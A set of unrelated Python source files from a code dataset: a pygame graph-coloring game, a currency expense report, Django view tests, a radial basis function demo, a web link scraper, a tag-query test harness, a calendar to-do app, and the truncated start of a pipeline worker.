3\n\n for i in range(0, number_of_vertices):\n vtx_x, vtx_y = generate_valid_coordinates(radius, dist_apart)\n\n vtx = {\"ID\": i,\n \"x\": vtx_x,\n \"y\": vtx_y,\n \"color\": \"WHITE\",\n \"adjacent\": [],\n }\n\n VERTICES.append(vtx)\n\n # Assign adjacency\n for i in range(0, number_of_edges):\n vtx_one = None\n vtx_two = None\n\n # Do not assign the adjacency of a vertex to itself\n while vtx_one==vtx_two:\n vtx_one = random.randint(0, number_of_vertices - 1)\n vtx_two = random.randint(0, number_of_vertices - 1)\n\n VERTICES[vtx_one][\"adjacent\"].append(VERTICES[vtx_two][\"ID\"])\n VERTICES[vtx_two][\"adjacent\"].append(VERTICES[vtx_one][\"ID\"])\n\n\ndef create_graph(radius, thickness):\n \"\"\"\n Determines what graph to display based on input\n Prompts the user for type of graph, number of vertices, number of colors,\n and possible selection menus.\n Processes the number of vertices and colors.\n\n Parameters:\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n game_over (boolean): Whether or not the game has been stopped\n num_colors (int): The number of colors to be used in the game\n \"\"\"\n\n # Default value for the number of vertices in the graph\n num_vertices = 0\n\n # Get the type of graph to generate\n graph_type, game_over = run_setup(\"Enter graph type:\", 1)\n\n # Override invalid selections to a default value of 1\n if graph_type > 4 or graph_type < 0:\n graph_type = 1\n\n # If the graph!= custom or prebuilt, ask for a number of vertices\n if graph_type!= 0 and graph_type!= 4:\n num_vertices, game_over = run_setup(\"Enter the number of vertices\", 2)\n\n # Minimum of 2 vertices\n if num_vertices <= 1:\n num_vertices = 2\n\n # Generate the graph\n if graph_type==0:\n create_custom_graph(radius, thickness)\n elif graph_type==1:\n create_path(num_vertices, radius, thickness)\n elif graph_type==2:\n create_cycle(num_vertices, radius, thickness)\n elif graph_type==3:\n create_complete(num_vertices, radius, thickness)\n elif graph_type==4:\n # Prompt the user to choose from a list of existing graphs\n graph_choice, game_over = run_setup(\"Choose a graph file\", 4)\n create_prebuilt_graph(graph_choice)\n # elif graph_type==5:\n # Currently random - Will be user-inputted in the future\n # number_of_edges = random.randint(1, 2 * num_vertices)\n # create_random_graph(num_vertices, number_of_edges, radius, thickness)\n\n # Ask for a number of colors\n num_colors, game_over = run_setup(\"Enter the maximum number of colors to be used (max \"\n + str(len(CRAYONBOX) - SYS_COLORS) + \")\", 3)\n\n # Override invalid selections to a default value of 1\n if num_colors <= 1:\n num_colors = 2\n num_colors += SYS_COLORS\n\n draw_graph(VERTICES, radius, thickness)\n\n return game_over, num_colors\n\n\ndef draw_graph(vertices, radius, thickness):\n \"\"\"\n Draws a graph to the screen\n\n Draws shadows of each vertex.\n Draws a line between every pair of adjacent vertices in the vertex list.\n Draws default vertices for every vertex in the vertex list.\n\n Parameters:\n vertices (list): The list of vertices for the graph\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n # Draws shadows\n for vtx in vertices:\n pygame.draw.circle(\n screen, CRAYONBOX[\"DARK GRAY\"], (vtx[\"x\"] + 4, vtx[\"y\"] + 4), radius)\n\n # Draws the edges\n for vtx in vertices:\n for adj in vtx[\"adjacent\"]:\n draw_line(vtx[\"x\"], vtx[\"y\"], vertices[adj]\n [\"x\"], vertices[adj][\"y\"], thickness)\n\n # Draws the vertices\n for vtx in vertices:\n draw_circle(\"WHITE\", vtx[\"x\"], vtx[\"y\"], radius, thickness, vtx[\"ID\"])\n\n\ndef draw_circle(color, x, y, radius, thickness, id):\n \"\"\"\n Draws a circle on the screen\n\n Draws an outer black edge and an inner colored circle. Labels each circle.\n\n Parameters:\n color (string): The color to be drawn in the circle\n x (int): The x coordinate to center the circle over\n y (int): The y coordinate to center the circle over\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n id (int): The ID of the vertex to be used as a label\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n font_size = 30\n\n font = pygame.font.Font(None, font_size)\n\n pygame.draw.circle(screen, CRAYONBOX[\"BLACK\"], (x, y), radius, thickness)\n pygame.draw.circle(screen, CRAYONBOX[color], (x, y), radius - thickness)\n\n if id!= \"\":\n display = font.render(str(id), 1, CRAYONBOX[\"BLACK\"], color)\n screen.blit(display, (x - (font_size / 4), y - (font_size / 4)))\n\n\ndef draw_line(x_one, y_one, x_two, y_two, thickness):\n \"\"\"\n Draws a line on the screen with a small shadow\n\n Parameters:\n x_one (int): The x coordinate to begin the line\n y_one (int): The y coordinate to begin the line\n x_two (int): The x coordinate to end the line\n y_two (int): The y coordinate to end the line\n thickness (int): the thickness of the line\n\n Returns:\n N/A\n \"\"\"\n global screen\n\n pygame.draw.line(screen, CRAYONBOX[\"DARK GRAY\"],\n (x_one + 3, y_one + 3), (x_two + 3, y_two + 3), thickness)\n pygame.draw.line(screen, CRAYONBOX[\"BLACK\"],\n (x_one, y_one), (x_two, y_two), thickness)\n\n\ndef generate_valid_coordinates(radius, dist_apart):\n \"\"\"\n Generates a random valid coordinate pair\n\n Generates a random multiple of a specified distance. If that number is\n within the radius of another vertex, generate a new number. Try this\n 1000 times before giving up and placing the vertex anywhere. Do this for\n both x and y coordinates\n\n Parameters:\n radius (int): The radius of a vertex\n dist_apart (int): The min distance apart any two vertices can be.\n\n Returns:\n vtx_x, vtx_y (int): Two integer multiples of dist_apart that (hopefully) do not lie within\n the radius of any other vertex\n \"\"\"\n\n vtx_x = random.randrange(dist_apart, int(\n WINDOW_WIDTH - radius), dist_apart)\n vtx_y = random.randrange(dist_apart, int(WINDOW_HEIGHT), dist_apart)\n\n count = 0\n while any((abs(vtx[\"x\"] - vtx_x) <= dist_apart) for vtx in VERTICES) and count < 1000:\n vtx_x = random.randrange(dist_apart, int(\n WINDOW_WIDTH - dist_apart), dist_apart)\n count += 1\n\n count = 0\n while any((abs(vtx[\"y\"] - vtx_y) <= dist_apart) for vtx in VERTICES) and count < 1000:\n vtx_y = random.randrange(dist_apart, int(WINDOW_HEIGHT), dist_apart)\n count += 1\n return vtx_x, vtx_y\n\n\ndef is_clicked(vtx_x, vtx_y, mouse_x, mouse_y, radius):\n \"\"\"\n Determines whether or not the user clicked within a vertex\n\n Parameters:\n vtx_x (int): The vertex's center's x coordinate\n vtx_y (int): The vertex's center's y coordinate\n mouse_x (int): The mouse click's x coordinate\n mouse_y (int): The mouse click's y coordinate\n\n Returns:\n True if the user clicked within the vertex, else false\n \"\"\"\n return math.sqrt(((mouse_x - vtx_x) ** 2) + ((mouse_y - vtx_y) ** 2)) < radius\n\n\ndef display_usable_colors(colors, radius, thickness):\n \"\"\"\n Displays all playable colors for the current game\n\n Parameters:\n num_colors (int): The number of colors to be displayed\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n # How much to offset the display by\n offset = 50\n\n for i in range(0, len(colors)):\n\n x = int(i * offset + offset / 2)\n y = offset\n\n rad = int(radius / 2)\n thick = int(thickness / 2)\n\n draw_circle(colors[i], x, y, rad, thick, \"\")\n\n\ndef reset_game(radius, thickness, colors_available):\n \"\"\"\n Resets the game\n\n Recolors all vertices on screen to white and redraws every vertex.\n\n Parameters:\n radius (int): The radius of each vertex\n thickness (int): The thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n for vtx in VERTICES:\n vtx[\"color\"] = \"WHITE\"\n screen.fill(BACKGROUND)\n draw_graph(VERTICES, radius, thickness)\n display_usable_colors(colors_available, radius, thickness)\n\n\ndef is_legal(vtx, color):\n \"\"\"\n Checks if a coloring==legal\n\n Loops through the vertex's neighbors and compares their colors to the\n proposed new color. If any of the neighbors are already colored with the\n proposed new color, a coloring cannot be completed.\n\n Parameters:\n vtx (dictionary): The vertex attempting to be colored\n color (string): The proposed new color\n\n Returns:\n True if no neighbors are already colored with the proposed new color\n False if any neighbor==already colored with the proposed new color\n \"\"\"\n for neighbor in vtx[\"adjacent\"]:\n if VERTICES[neighbor][\"color\"]==color:\n return False\n return True\n\n\ndef recolor(radius, thickness, colors, keys, vtx_x, vtx_y):\n \"\"\"\n Recolors a vertex\n\n Gets the current color of the vertex.\n Sets the new color according to what key was pressed.\n If the new color!= the old color and==a legal coloring, recolor\n the vertex with the new color.\n\n\n Parameters:\n radius (int): Radius of a vertex in pixels\n thickness (int): The thickness of a vertex's outer ring\n colors (list): All legal colors in the game\n keys (boolean array): List of the state of all keyboard keys\n vtx_x (int): The vertex's center's x coordinate\n vtx_y (int): The vertex's center's y coordinate\n\n Returns:\n True if the vertex was successfully recolored\n False if the vertex was not recolored\n \"\"\"\n\n global screen\n\n # The index of \"pygame.K_1\" in keys\n min_color = 49\n\n # Get the current color and vertex clicked on\n current_color = screen.get_at((vtx_x, vtx_y))\n vertex = {}\n for vtx in VERTICES:\n if vtx[\"x\"] == vtx_x and vtx[\"y\"] == vtx_y:\n vertex = vtx\n\n # Set the new color if possible\n try:\n new_color = colors[keys.index(1) - min_color]\n\n except IndexError:\n try:\n print(\"ERROR: \" + list(CRAYONBOX.keys())[SYS_COLORS:][keys.index(1) - min_color]\n + \"!= valid in this game!\")\n except IndexError:\n return\n\n return\n\n except ValueError:\n print(\"ERROR: You must select a color using 1-\" +\n str(len(colors)) + \" first!\")\n return\n\n if CRAYONBOX[new_color] != current_color and is_legal(vertex, new_color):\n draw_circle(new_color, vtx_x, vtx_y, radius, thickness, vertex[\"ID\"])\n vertex[\"color\"] = new_color\n return True\n else:\n return False\n\n\ndef is_game_over(colors_available):\n \"\"\"\n Determines if the game==over\n\n If every vertex==colored, player one wins and the game ends.\n If every uncolored vertex has no legal colors available, player two wins\n and the game ends.\n\n Parameters:\n colors_available (int): The legal colors in the game\n\n Returns:\n -1 if player 2 wins and a vertex cannot be colored\n 1 if player 1 wins and all vertices are colored\n 0 if neither case==true\n \"\"\"\n\n num_colored = 0\n\n for vtx in VERTICES:\n if vtx[\"color\"]==\"WHITE\":\n\n num_illegal_colors = 0\n\n # Increment the counter if the coloring!= legal\n for color in colors_available:\n if not is_legal(vtx, color):\n num_illegal_colors += 1\n\n # If all colorings are illegal, return -1\n if num_illegal_colors==len(colors_available):\n print(\"Player 2 wins!\")\n centered_message(\"Player 2 wins!\", CRAYONBOX[\"WHITE\"], 50)\n return -1\n else:\n num_colored += 1\n\n # If all vertices are colored, return 1\n if num_colored==len(VERTICES):\n print(\"Player 1 wins!\")\n centered_message(\"Player 1 wins!\", CRAYONBOX[\"WHITE\"], 50)\n return 1\n\n return 0\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Research_Game/game_v1.0.1.py.8e795eea1bee30071218399c9a1f4a58.py","file_name":"game_v1.0.1.py.8e795eea1bee30071218399c9a1f4a58.py","file_ext":"py","file_size_in_byte":32443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"104322555","text":"\nimport Packages.module_exchange as de\nimport Packages.subpackpage.module_graph as pic\nimport sys\n\ncoin_dic={'MXN':('Mexican Pesos',21),'BRL':('Real Brasileno',10),'ARS':('Peso Argentino',30),'PEN':('Sol Peruano',3.5),'EUR':('Euro',1.12)}\nnumber=1\nproducts=[]\n\n'getting information from the user'\nprint(f'Select the initial currency (Just 3 letters code):\\n')\nfor x, y in coin_dic.items():\n print(\"%s.- %s\"%(x,y[0]))\n \nwhile True:\n try:\n t_coin=input()\n print(\"Exchange rate: 1 %s equals %s USD\\n\"%(t_coin,coin_dic[t_coin][1]))\n break\n except KeyError:\n print(\"Oops! That was no valid selection. Try again...\") \n \n\n\nprint('Please introduce items')\n\n\nwhile True:\n \n concept=str(input('concept {} ({}):'.format(number,t_coin)))\n amount=float(input('Amount {} ({}):'.format(number,t_coin)))\n ex_rate=de._exchange(t_coin)\n amoun_exchange=de._convert(ex_rate,amount)\n \n products.extend([[number,concept,amount,amoun_exchange]])\n number=number+1\n selection=input('do you want to add another item? (Yes/No):')\n \n if selection == 'Yes':\n continue \n if selection == 'No':\n break\n if selection != 'Yes' or selection != 'No':\n print('Answer is not corret... ')\n print('Try again')\n sys.exit()\n \n\nprint(\"Expenses Report\")\nprint(\"++++++++++++++++\")\nprint(\"Concept\\t Amount(%s)\\t Amount(USD)\"%(t_coin))\nprint(\"============================================\")\n\nitem2=0\nitem3=0\nfor item in products:\n print(\"%s \\t %s \\t %s\"%(item[1],item[2],item[3]))\n item2=item[2]+item2\n item3=item[3]+item3\nprint(\"============================================\")\nprint(\"Total\\t %s %s\\t %s USD\"%(item2,t_coin,item3))\n\npic.result(item3)\n\n\n\n\n","sub_path":"WeeklyChallenge_Week08_jtocaspa.py","file_name":"WeeklyChallenge_Week08_jtocaspa.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"398222864","text":"from django.test import TestCase\nfrom django.core.urlresolvers import reverse\n\nfrom .models import *\n\nclass AppTest(TestCase):\n\n def setUp(self):\n self.pascal = User.objects.create_user('pascal', 'pascal@test.com', 'pascal')\n self.john = User.objects.create_user('john', 'john@test.com', 'john')\n self.jimmi = User.objects.create_user('jimmi', 'jimmi@test.com', 'jimmi')\n self.gaston = User.objects.create_user('gaston', 'gaston@test.com', 'gaston')\n\n self.fo_team = Team.objects.create(name='Front office team')\n self.fo_team.members.add(self.pascal)\n self.fo_team.members.add(self.john)\n\n self.bo_team = Team.objects.create(name='Back office team')\n self.bo_team.members.add(self.jimmi)\n self.bo_team.members.add(self.gaston)\n\n self.fo_backlog = ProductBacklog.objects.create(team=self.fo_team, name=\"Backlog de l'équipe front\")\n self.bo_backlog = ProductBacklog.objects.create(team=self.bo_team, name=\"Backlog de l'équipe back\")\n\n self.fo_backlog_story_1 = UserStory.objects.create(product_backlog=self.fo_backlog, name=\"Nouvelle présentation de la fiche article\")\n self.fo_backlog_story_2 = UserStory.objects.create(product_backlog=self.fo_backlog, name=\"Insertion auto de keywords dans les balises alt\")\n\n self.bo_backlog_story_1 = UserStory.objects.create(product_backlog=self.bo_backlog, name=\"Ajout de l'autocompletion pour la recherche de produits\")\n def test_backlog_not_authenticated_user(self):\n response = self.client.get(reverse('chistera:backlog', kwargs={'backlog_id': 1}))\n self.assertTemplateNotUsed(response, 'chistera/backlog.html')\n self.failUnlessEqual(response.status_code, 302)\n\n def test_backlog_authenticated_user(self):\n self.client.login(username='pascal', password='pascal')\n response = self.client.get(reverse('chistera:backlog', kwargs={'backlog_id': 1})) # L'id 1 correspond au backlog fo_backlog\n self.assertEqual(response.context['backlog'], self.fo_backlog)\n self.assertEqual(type(response.context['stories']), QuerySet)\n self.assertEqual(len(response.context['stories']), 2)\n self.failUnlessEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'chistera/backlog.html')\n self.client.logout()\n ","sub_path":"djangoApp/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"452107922","text":"bgfuncs = {\n\n # lowest bias functions as determined 2015-02-14\n\n \"cat0\": \"pol5\",\n \"cat1\": \"pol4\",\n \"cat2\": \"pow1\",\n \"cat3\": \"pol5\",\n \"cat4\": \"exp1\",\n \"cat5\": \"exp1\",\n \"cat6\": \"pol4\",\n \"cat7\": \"pol5\",\n \"cat8\": \"pol5\",\n \"cat9\": \"pol1\",\n \"cat10\": \"pol2\",\n }\n","sub_path":"parameters/bgfunc-cat6mod.py","file_name":"bgfunc-cat6mod.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"269082521","text":"# -*- coding: utf-8 -*-\n# Created in: Tue Dec 8 15:16:18 2015\n\n# implementation for radius basis function(both nonparametric rbf\n# and parametric rbf)\n\n__author__ = \"Linwei Li\"\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef gauss_kernel(r):\n return np.exp(-(r**2)/2)\n\ndef non_param_rbf(X_train, Y_train, kernel=gauss_kernel, radius=1):\n def f(x):\n alpha = (X_train - x)\n alpha = np.array([np.linalg.norm(x) for x in alpha]) / radius\n alpha = kernel(alpha)\n alpha /= alpha.sum()\n return Y_train.dot(alpha)\n return f\n\ndef param_rbf(X_train, Y_train, kernel=gauss_kernel, radius=1):\n def transform2z(x):\n \"\"\"transform features: x(d,1) to z(n,1)\"\"\"\n z = (X_train - x)\n z = np.array([np.linalg.norm(x) for x in z]) / radius\n z = kernel(z)\n return z\n def f(x):\n Z = np.array([transform2z(x) for x in X_train])\n w = np.linalg.pinv(Z).dot(Y_train)\n return w.dot(transform2z(x))\n return f\n\nif __name__ == '__main__':\n\n X_train = np.array([2,3,4,5])\n Y_train = np.array([6,10,8,5])\n\n r_range = (0.1, 0.4, 1)\n f_non_param_rbf = [non_param_rbf(X_train, Y_train, radius=r) for r in r_range]\n f_param_rbf = [param_rbf(X_train, Y_train, radius=r) for r in r_range]\n \n \n X = np.arange(10, step=0.05)\n Y_non_param_rbf = np.array([np.array([f(x) for x in X]) for f in f_non_param_rbf])\n Y_param_rbf = np.array([np.array([f(x) for x in X]) for f in f_param_rbf])\n\n fig, axs = plt.subplots(2, 3, sharey=True)\n for i, r in enumerate(r_range):\n axs[0][i].set_title('r = %.2f' % r)\n axs[0][i].plot(X, Y_non_param_rbf[i])\n axs[0][i].scatter(X_train, Y_train)\n # rightPos = axs[0][1].get_position()\n # fig.text(rightPos.xmax, (rightPos.ymin+rightPos.ymax)/2, 'nonparametric rbf')\n for i, r in enumerate(r_range):\n axs[1][i].set_title('r = %.2f' % r)\n axs[1][i].plot(X, Y_param_rbf[i])\n axs[1][i].scatter(X_train, Y_train)\n plt.show()\n\n\n\n\n","sub_path":"similarity-based method/rbf.py","file_name":"rbf.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"367657732","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport os\n\n# Loading urls from file\nurl = \"http://pignaquegna.altervista.org/series/tower_of_god/\"\ndelete_link = \"http://pignaquegna.altervista.org/team/quegnatraductionteam/\"\n\n# Opening the file to write in and erase the old content\n\"\"\"\nfile_out = open(\"pages_to_download.txt\", \"w\")\nfile_out.truncate()\n\"\"\"\n\n# Parsing every single url for writing the link\nbrowser = webdriver.PhantomJS()\n\nbrowser.get(url)\n\nsoup = BeautifulSoup(browser.page_source, \"html.parser\")\n\n# Find all link\nlinks = soup.find_all('a')\n \n# Write all the link on the file\nfor link in links:\n if(link[\"href\"] != delete_link):\n print(link[\"href\"])\n \"\"\"\n file_out.write(link[\"href\"])\n file_out.write(\"\\n\")\n \"\"\"\n\nbrowser.quit()\n","sub_path":"link_writer.py","file_name":"link_writer.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"446571720","text":"import QueryConstructor\r\nfrom Selectors import *\r\nimport itertools\r\nimport time\r\n\r\ntests = ['a', 'a b', 'a b c', 'a b c d',\r\n 'a | b', 'a | b | c', 'a | b | c | d',\r\n '(a -b) | (b -a)', '(a b) | (a c)', '(a b d) | (a c d) | (b c d)',\r\n '(a b d) | (a c d) | (b c d) | (b c)', '(a b c) | (a b d) | (a b e) | (a b f ) | (a c d) | (b c d) | (b c)', '(c e) | (c d) | (a b) | (a f)',\r\n '(a c d) | (b c d)']\r\n#tests = ['(a b c) | (a b d) | (a b e) | (a b f ) | (a c d) | (b c d) | (b c)']\r\n \r\n# 7, 5, 4, 3\r\n \r\nclass TaggedItem(object):\r\n date = 0\r\n operations = 0\r\n def __init__(self, value, tags):\r\n self.tags = set(tags)\r\n self.value = value\r\n self.date = TaggedItem.date\r\n TaggedItem.date += 1\r\n \r\n def getTags(self):\r\n TaggedItem.operations += 1\r\n return self.tags\r\n \r\ndataset = []\r\nfor x in range(12345):\r\n dataset.append(TaggedItem('Test 1', ['a', 'b', 'c']))\r\n dataset.append(TaggedItem('Test 2', ['a', 'b']))\r\n dataset.append(TaggedItem('Test 3', ['a']))\r\n dataset.append(TaggedItem('Test 4', ['b', 'c']))\r\n dataset.append(TaggedItem('Test 5', ['b']))\r\n dataset.append(TaggedItem('Test 6', ['c']))\r\n dataset.append(TaggedItem('Test 7', ['a', 'c']))\r\n \r\ndboperations = 0\r\n \r\ndef CounterSet(Dataset):\r\n global dboperations\r\n dboperations = 0\r\n for x in Dataset:\r\n dboperations += 1\r\n yield x\r\n \r\ndef Inspect(Search, indent=0):\r\n indentation = '\\t' * indent\r\n if isinstance(Search, UnionSelector):\r\n print(\"%sUnion ->\" % (indentation))\r\n Inspect(Search.left, indent+1)\r\n Inspect(Search.right, indent+1)\r\n elif isinstance(Search, SplitSelector):\r\n if Search.rule:\r\n print(\"%sSplit\" % (indentation))\r\n Inspect(Search.rule, indent + 1)\r\n print(\"%sinto\" % (indentation))\r\n else:\r\n print(\"%sSplit ->\" % (indentation))\r\n Inspect(Search.left, indent+1)\r\n Inspect(Search.right, indent+1)\r\n elif isinstance(Search, Forwarder):\r\n print(\"%sForwarder ->\" % (indentation))\r\n Inspect(Search.source, indent+1)\r\n Inspect(Search.target, indent+1)\r\n elif isinstance(Search, Selector):\r\n print(\"%sSelector on set %s\" % (indentation, Search.set))\r\n elif isinstance(Search, ExcludeSelector):\r\n print(\"%sExclusion on set %s\" % (indentation, Search.set))\r\n elif isinstance(Search, ExtrudeSelector):\r\n print(\"%sExtrude on rules (%s, %s)\" % (indentation, Search.inclusive, Search.exclusive))\r\n elif isinstance(Search, AnySelector):\r\n print(\"%sAnySelector on %s\" % (indentation, Search.set))\r\n elif isinstance(Search, Yielder):\r\n print(\"%sYielder\" % (indentation))\r\n \r\ndef Reconstruct(Search):\r\n if isinstance(Search, SplitSelector):\r\n if Search.rule:\r\n return \"(%s => (%s))\" % (Reconstruct(Search.rule), Reconstruct(Search.left) + ' | ' + Reconstruct(Search.right))\r\n else:\r\n return Reconstruct(Search.left) + ' | ' + Reconstruct(Search.right)\r\n elif isinstance(Search, Forwarder):\r\n return '(%s) %s' % (Reconstruct(Search.source), Reconstruct(Search.target))\r\n elif isinstance(Search, ExtrudeSelector):\r\n return '((%s) -> (%s))' % ('|'.join(Search.inclusive), ' '.join(('-' + x for x in Search.exclusive)))\r\n elif isinstance(Search, Selector):\r\n return ' '.join(Search.set)\r\n elif isinstance(Search, AnySelector):\r\n return '|'.join(Search.set)\r\n elif isinstance(Search, ExcludeSelector):\r\n return ' '.join(('-' + x for x in ExcludeSelector.set))\r\n elif isinstance(Search, Yielder):\r\n return '%YIELD%'\r\n \r\ndef deduplicator(db):\r\n hits = set()\r\n for x in db:\r\n if not x in hits:\r\n yield x\r\n hits.add(x)\r\n \r\nfor x in tests:\r\n search = QueryConstructor.buildSearch(x)\r\n print(\"Test: '%s'\" % (x))\r\n print(\"Reconstructed post optimization: '%s'\" % (Reconstruct(search)))\r\n \r\n print(\"Inspection:\")\r\n Inspect(search, 1)\r\n \r\n print(\"Fetching %d results..\" % (1000))\r\n start = time.time()\r\n result = sum(1 for _ in itertools.islice(search.begin(CounterSet(dataset)), 1000))\r\n end = time.time()\r\n #print(\"First 30 results: %s\" % (result))\r\n print(\"\\tGot %d results in %d operations and %d database hits.\" % (result, TaggedItem.operations, dboperations))\r\n print(\"\\tSearch took %f seconds.\" % (end-start))\r\n \r\n print(\"Testing compiler...\")\r\n compiled = \"def compilemethod(db):\\n\"\r\n compiled += \"\\tfor element in db:\\n\"\r\n compiled += \"\\t\\tx = element.getTags()\\n\"\r\n compiled += search.compile('x', 2)\r\n print(compiled)\r\n \r\n block = compile(compiled, 'fakemodule', 'exec')\r\n exec(block)\r\n deduplicator(compilemethod(dataset))\r\n \r\n dboperations = 0\r\n TaggedItem.operations = 0\r\n \r\n print(\"Fetching %d results..\" % (1000))\r\n start = time.time()\r\n result = sum(1 for _ in itertools.islice(search.begin(CounterSet(dataset)), 1000))\r\n end = time.time()\r\n #print(\"First 30 results: %s\" % (result))\r\n print(\"\\tGot %d results in %d operations and %d database hits.\" % (result, TaggedItem.operations, dboperations))\r\n print(\"\\tSearch took %f seconds.\" % (end-start))\r\n \r\n dboperations = 0\r\n TaggedItem.operations = 0\r\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"598852672","text":"class Calendar: \r\n def __init__(self):\r\n date = input(\"Please enter today's date in mm/dd/yy format: \")\r\n weekday = input(\"Please enter the day of the week today (1 for Monday and 7 for Sunday ): \")\r\n ls = date.split(\"/\")\r\n self.day=int(ls[0])\r\n self.month=int(ls[1])\r\n self.year=int(ls[2])\r\n self.weekday=int(weekday)\r\n self.to_do_list=ToDoList()\r\n \r\n def __repr__(self):\r\n s=\"\"\r\n if self.weekday==1:\r\n s=\"Monday\"\r\n elif self.weekday==2:\r\n s=\"Tuesday\"\r\n elif self.weekday==3:\r\n s=\"Wednsday\"\r\n elif self.weekday==4:\r\n s=\"Thursday\"\r\n elif self.weekday==5:\r\n s=\"Friday\"\r\n elif self.weekday==6:\r\n s=\"Saturday\"\r\n elif self.weekday==2:\r\n s=\"Sunday\"\r\n s= \"\\nToday's date is: \"+s+\" \"+str(self.month)+\"/\"+str(self.day)+\"/\"+str(self.year)\r\n task = \"\\n\"\r\n task=task.join(self.to_do_list.todolist)\r\n accomplishment = \"\\n\"\r\n accomplishment=accomplishment.join(self.to_do_list.accomplish_list)\r\n s += \"\\n\" + \"\\nToday's Accomplishment\\n====================\\n\"+accomplishment+\"\\nThings Left To Do\\n====================\\n\" + task\r\n return s\r\n \r\n def start_new_day(self):\r\n self.day+=1\r\n month_list=[31,28,31,30,31,30,31,31,30,31,30,31]\r\n days=month_list[self.month-1]\r\n if self.day>days:\r\n self.month+=1\r\n self.day=1\r\n if (self.month>12):\r\n self.year+=1\r\n self.month=1\r\n self.weekday+=1\r\n if self.weekday>7:\r\n self.weekday=1\r\n self.to_do_list.todolist.clear()\r\n self.to_do_list.accomplish_list.clear()\r\n\r\n \r\nclass ToDoList:\r\n\r\n def __init__(self):\r\n self.todolist=[]\r\n self.accomplish_list=[]\r\n\r\n def __repr__(self):\r\n s=\"\\n\"\r\n return s.join(self.todolist)\r\n\r\n \r\n \r\n def create_to_do_list_item(self):\r\n todo = input(\"Enter the task: \")\r\n self.todolist.append(todo)\r\n\r\n def check_to_do_list(self):\r\n for i in self.todolist:\r\n print(\"Did you do\",i,\"(y/n)\",end=\" \")\r\n Bool = input()\r\n if Bool == \"y\":\r\n self.accomplish_list.append(i)\r\n for i in self.accomplish_list:\r\n self.todolist.remove(i)\r\n \r\n \r\ndef main():\r\n calendar = Calendar ()\r\n while True :\r\n print (\"\\nMain Menu :\")\r\n print (\"1. Create New Calendar \")\r\n print (\"2. Add To - Do List Item \")\r\n print (\"3. Check Off To - Do List \")\r\n print (\"4. Show Today ' s Calendar \")\r\n print (\"5. Start The Next Day \\n \")\r\n answer = input (\" What would you like to do ?\\n\")\r\n if answer == '1':\r\n calendar = Calendar ()\r\n elif answer == '2':\r\n calendar.to_do_list.create_to_do_list_item ()\r\n elif answer == '3':\r\n calendar.to_do_list.check_to_do_list ()\r\n elif answer == '4':\r\n print(calendar)\r\n elif answer == '5':\r\n calendar.start_new_day ()\r\n\r\nmain()\r\n \r\n","sub_path":"lab/lab13/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"275483098","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport time\nimport json\nimport logging\nimport shutil\nimport tarfile\nimport zipfile\nfrom zipfile import ZipFile, ZipInfo\nimport signal\nfrom pathlib import Path\nimport threading\nfrom threading import Thread, Lock\nfrom multiprocessing import Process, Queue, Pipe\nimport configparser\n\nfrom tornado import gen, locks\nimport requests\nfrom litepipeline_helper.models.client import LitePipelineClient, OperationFailedError\n\nfrom litepipeline.node.utils.common import file_sha1sum, splitall, update_venv_cfg, StoppableThread, ZipFileWithPermissions, is_uuid\nfrom litepipeline.node.config import CONFIG\nfrom litepipeline.node import logger\n\nLOG = logging.getLogger(__name__)\n\n\nclass Command(object):\n check_app = \"check_app\"\n exit = \"exit\"\n\n\nclass TasksCache(object):\n tasks = {}\n tasks_lock = Lock()\n\n @classmethod\n def set(cls, app_id):\n cls.tasks_lock.acquire()\n if app_id not in cls.tasks:\n cls.tasks[app_id] = False\n cls.tasks_lock.release()\n\n @classmethod\n def get(cls):\n result = False\n cls.tasks_lock.acquire()\n try:\n for app_id in cls.tasks:\n if not cls.tasks[app_id]:\n cls.tasks[app_id] = True\n result = app_id\n break\n except Exception as e:\n LOG.exception(e)\n cls.tasks_lock.release()\n return result\n\n @classmethod\n def update(cls, app_id, value):\n cls.tasks_lock.acquire()\n if app_id in cls.tasks:\n cls.tasks[app_id] = value\n cls.tasks_lock.release()\n\n @classmethod\n def peek(cls, app_id):\n result = None\n cls.tasks_lock.acquire()\n if app_id in cls.tasks:\n result = cls.tasks[app_id]\n cls.tasks_lock.release()\n return result\n\n @classmethod\n def remove(cls, app_id):\n cls.tasks_lock.acquire()\n del cls.tasks[app_id]\n cls.tasks_lock.release()\n\n\nclass WorkerThread(StoppableThread):\n def __init__(self, pid, config):\n StoppableThread.__init__(self)\n Thread.__init__(self)\n self.pid = pid\n self.config = config\n\n def run(self):\n LOG = logging.getLogger(\"worker\")\n LOG.info(\"Worker(%03d) start\", self.pid)\n try:\n lpl = 